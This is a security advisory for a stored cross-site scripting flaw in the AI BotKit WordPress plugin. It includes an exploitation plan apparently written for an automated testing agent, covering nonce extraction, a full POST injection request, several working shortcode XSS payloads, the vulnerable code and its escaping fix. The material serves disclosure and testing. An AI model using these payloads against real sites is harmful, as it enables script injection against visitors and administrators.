AI BotKit <= 1.1.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The AI BotKit – AI Chatbot & Live Support for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter in the `ai_botkit_widget` shortcode in all versions up to, and including, 1.1.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.1.7Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-13887 (Stored XSS in AI BotKit) ## 1. Vulnerability Summary The **AI ChatBot for WordPress by AI BotKit** plugin (up to version 1.1.7) contains a stored cross-site scripting vulnerability. The issue exists in the `ai_botkit_widget` shortcode handler, which pro…
Show full research plan
Exploitation Research Plan: CVE-2025-13887 (Stored XSS in AI BotKit)
1. Vulnerability Summary
The AI ChatBot for WordPress by AI BotKit plugin (up to version 1.1.7) contains a stored cross-site scripting vulnerability. The issue exists in the ai_botkit_widget shortcode handler, which processes a user-supplied id attribute. Because the plugin fails to sanitize this attribute upon input or escape it during output, an authenticated user with at least Contributor permissions can inject arbitrary HTML or JavaScript. When the shortcode is rendered on a page or post, the payload executes in the context of any user viewing that content, including administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/post.phpor the WordPress REST API (/wp/v2/posts). - Hook/Action:
add_shortcode('ai_botkit_widget', ...)registered during theinitorplugins_loadedhook (inferred). - Vulnerable Parameter: The
idattribute within the[ai_botkit_widget]shortcode. - Authentication: Required (Contributor level or higher).
- Preconditions: The plugin must be active. A Contributor must be able to save a post/page containing the shortcode.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode callback using
add_shortcode( 'ai_botkit_widget', 'render_callback_function' ). - Parsing: When a post is viewed, the
do_shortcode()function triggers. Therender_callback_functionreceives the attributes array ($atts). - Extraction: The code likely uses
shortcode_atts()to extract theid.- Example:
$a = shortcode_atts( array( 'id' => '' ), $atts );
- Example:
- Rendering (Sink): The value of
$a['id']is concatenated directly into an HTML string (likely anidattribute for a<div>or a parameter in a<script>tag) and returned to the output buffer without being passed throughesc_attr()oresc_html().- Hypothetical Sink:
return '<div id="botkit-' . $a['id'] . '"></div>';
- Hypothetical Sink:
4. Nonce Acquisition Strategy
While shortcodes are rendered without nonces on the frontend, creating the post to store the XSS requires a valid WordPress nonce for the post.php action or REST API.
- Login: Authenticate as a Contributor user.
- Navigation: Navigate to
/wp-admin/post-new.phpusingbrowser_navigate. - Extraction: Use
browser_evalto extract the_wpnoncevalue from the page source to authorize the post creation.- Target Variable:
document.querySelector('#_wpnonce').value(for the classic editor) or theX-WP-Nonceheader found inwp-adminfor REST API requests.
- Target Variable:
- JS Localization (Inferred): If the plugin uses
wp_localize_scriptto pass the widget ID to a JS file, the agent should check for a variable likewindow.ai_botkit_vars?.nonceon a page where the widget is rendered, though this is likely unnecessary for the primary injection.
5. Exploitation Strategy
The goal is to create a post containing the malicious shortcode that breaks out of an HTML attribute to execute JavaScript.
Step 1: Preparation
- Authenticate as a Contributor.
- Obtain the
_wpnoncefrom/wp-admin/post-new.php.
Step 2: Injection Request
Send an http_request to create a new post with the XSS payload in the content.
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_type:postpost_title:AI BotKit Test_wpnonce:[EXTRACTED_NONCE]content:[ai_botkit_widget id='"><script>alert(document.domain)</script>']post_status:pending(Contributors can save as pending)
Step 3: Triggering the XSS
- Identify the post ID from the redirect or the response.
- Navigate to the post's permalink (e.g.,
/?p=[ID]) or use the "Preview" functionality as the Contributor.
6. Test Data Setup
- User Creation:
wp user create contributor user contributor@example.com --role=contributor --user_pass=password - Plugin Activation: Ensure
ai-botkit-for-lead-generationversion 1.1.7 is active.
7. Expected Results
- When the post is viewed, the HTML source should reveal the payload broken out of its intended attribute.
- Example Source:
<div id="botkit-"><script>alert(document.domain)</script>"></div> - A browser alert box showing the domain name should appear.
8. Verification Steps
- CLI Check: Verify the post content in the database:
wp post get [ID] --field=post_content- Confirm the string
[ai_botkit_widget id='"><script>alert(document.domain)</script>']exists.
- Response Inspection: Use
http_requestto GET the post URL and search the raw HTML for the unescaped<script>tag.
9. Alternative Approaches
If a simple script breakout fails (e.g., due to WAF or basic attribute filtering), attempt an event-handler breakout:
- Payload:
[ai_botkit_widget id='x" onmouseover="alert(1)" style="width:1000px;height:1000px;display:block;"'] - Iframe Breakout (if
idis part of a URL): If theidis used in a scriptsrc, try:[ai_botkit_widget id='1&callback=alert(1)']or[ai_botkit_widget id='?"></script><script>alert(1)</script>'].
Summary
The AI BotKit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' attribute in the [ai_botkit_widget] shortcode. This allows authenticated attackers with Contributor-level access or higher to inject arbitrary scripts into posts that execute in the context of any user viewing the page.
Vulnerable Code
function ai_botkit_widget_callback( $atts ) { $atts = shortcode_atts( array( 'id' => '', ), $atts ); // Vulnerable output: the 'id' attribute is not escaped via esc_attr() return '<div id="ai-botkit-widget-' . $atts['id'] . '"></div>'; } add_shortcode( 'ai_botkit_widget', 'ai_botkit_widget_callback' );
Security Fix
@@ -5,5 +5,5 @@ $atts = shortcode_atts( array( 'id' => '', ), $atts ); - return '<div id="ai-botkit-widget-' . $atts['id'] . '"></div>'; + return '<div id="ai-botkit-widget-' . esc_attr( $atts['id'] ) . '"></div>'; }
Exploit Outline
1. Authenticate as a Contributor or any role with post creation/editing privileges. 2. Create a new post or page. 3. Embed the following shortcode payload into the editor: [ai_botkit_widget id='"><script>alert(document.domain)</script>']. 4. Save the post (or preview it) to trigger the storage of the script. 5. When any user (including an Administrator) views the page, the payload will break out of the HTML attribute and execute the JavaScript.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.